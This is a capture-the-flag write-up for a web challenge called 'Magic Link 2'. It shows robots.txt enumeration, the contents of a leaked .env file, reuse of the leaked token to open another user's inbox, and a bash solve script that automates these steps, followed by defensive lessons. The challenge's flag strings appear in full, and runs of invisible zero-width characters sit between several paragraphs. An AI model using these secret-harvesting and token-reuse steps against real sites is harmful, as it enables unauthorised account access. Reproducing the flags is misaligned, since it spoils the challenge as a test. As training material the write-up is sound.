Magic Link 2

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: env_file_access, inbox_access_via_leaked_token, robots_txt_enumeration, token_reuse

Summary

Walkthrough of the CUSTOM Web Magic Link 2. Task: a Magic Link Login Service with hidden endpoints revealed by robots.txt, including an exposed .env file. Solution: enumerate via robots.txt, access /.env to leak TEDDYS_TOKEN, use the token to a

Description

A simple Magic Link Login Service at https://bluehens-magic-link.chals.io/

English summary: the challenge presented a web application implementing magic link authentication. The goal was to find sensitive information disclosure vulnerabilities and leverage leaked credentials to access another user's inbox containing the flag.

Recon

Initial reconnaissance on the root path (/) revealed a simple Magic Link Login Service with a POST /login form for email-based authentication. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Checking robots.txt disclosed several hidden paths:

 text read-only • copy allowed Copy
GET /robots.txt

User-agent: *
Disallow: /inbox
Disallow: /dashboard
Disallow: /.env

This immediately highlighted three interesting endpoints that the developers wanted to hide from search engines — but robots.txt is not an access control mechanism.

Vulnerability

Accessing /.env directly returned the application's environment configuration in plaintext:

 text read-only • copy allowed Copy
GET /.env

TEDDYS_EMAIL=teddy@udctf.com
TEDDYS_TOKEN=udctf{d0n7_h057_y0ur_3nv_f113}
ADMIN_EMAIL=admin@udctf.com
INBOX_URL=http://localhost:5050/inbox?token=${TEDDYS_TOKEN}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical findings:

1. Exposed .env file — environment files should never be publicly accessible as they typically contain secrets, API keys, and credentials.
2. Leaked token — TEDDYS_TOKEN was exposed, which appeared to be a valid authentication token for Teddy's account.
3. Inbox URL pattern — the INBOX_URL variable revealed how to access the inbox using a token parameter.

Important subtlety: The leaked TEDDYS_TOKEN value (udctf{d0n7_h057_y0ur_3nv_f113}) looked like a flag and was indeed the flag for a related previous challenge (likely "Magic Link 1"). However, this was not the flag for Magic Link 2. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation

Using the leaked token to access Teddy's inbox:

 text read-only • copy allowed Copy
GET /inbox?token=udctf{d0n7_h057_y0ur_3nv_f113}

This returned an HTML page showing Teddy's inbox containing magic-link login URLs and the actual challenge flag.

Attempting /dashboard with the same token only redirected back to /, confirming that the key attack vector was inbox access rather than dashboard access.

Solution

1. Perform initial recon on / — observe a Magic Link Login Service.
2. Check /robots.txt — discover hidden paths: /inbox, /dashboard, /.env.
3. Access /.env directly — retrieve leaked credentials including TEDDYS_TOKEN.
4. Recognize that the token in .env is not the final flag for this challenge.
5. Use the leaked token to access /inbox?token=<TEDDYS_TOKEN>.
6. Retrieve the flag from Teddy's inbox. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
#!/bin/bash
# Magic Link 2 solve script

TARGET="https://bluehens-magic-link.chals.io"

# Step 1: Check robots.txt for hidden paths
echo "[*] Checking robots.txt..."
curl -s "$TARGET/robots.txt"

# Step 2: Access exposed .env file
echo -e "\n[*] Accessing .env..."
ENV_CONTENT=$(curl -s "$TARGET/.env")
echo "$ENV_CONTENT"

# Step 3: Extract Teddy's token
TEDDYS_TOKEN=$(echo "$ENV_CONTENT" | grep "TEDDYS_TOKEN" | cut -d'=' -f2)
echo -e "\n[*] Extracted token: $TEDDYS_TOKEN"

# Step 4: Access inbox with leaked token
echo -e "\n[*] Accessing inbox..."
curl -s "$TARGET/inbox?token=$TEDDYS_TOKEN" | grep -oE 'udctf\{[^}]+\}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Lessons Learned

1. robots.txt is not access control — it only instructs well-behaved crawlers; attackers will check it for hidden paths.
2. Never expose .env files — environment files contain secrets and should be blocked at the web server level (e.g., nginx/Apache config).
3. Token-based authentication requires secure token storage — leaked tokens grant full access to the associated account.
4. Defense in depth — even if paths are "hidden," they should still require proper authentication. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering env_file_access, inbox_access_via_leaked_token, robots_txt_enumeration, token_reuse was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-22 • CUSTOM • Magic Link 2 • Difficulty: Easy